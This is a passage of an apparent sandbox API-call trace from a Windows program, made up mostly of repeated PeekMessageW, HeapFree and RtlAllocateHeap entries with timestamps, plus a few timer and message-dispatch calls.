(in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.847] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.848] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.849] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.966] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.967] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.968] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.969] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.970] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.970] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.970] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.970] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.970] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.466] TranslateMessage (lpMsg=0xbdf794) returned 0 [0139.466] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0139.466] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0139.466] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0139.466] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.467] CharUpperBuffW (in: lpsz="DllStructCreate", cchLength=0xf | out: lpsz="DLLSTRUCTCREATE") returned 0xf [0139.467] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0139.467] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077b58 [0139.467] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077ba0 [0139.467] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec68b0 | out: hHeap=0xe80000) returned 1 [0139.467] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0139.467] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0139.467] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055590 [0139.468] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0139.468] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9b8 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0139.468] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba8b8 | out: hHeap=0xe80000) returned 1 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b40 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 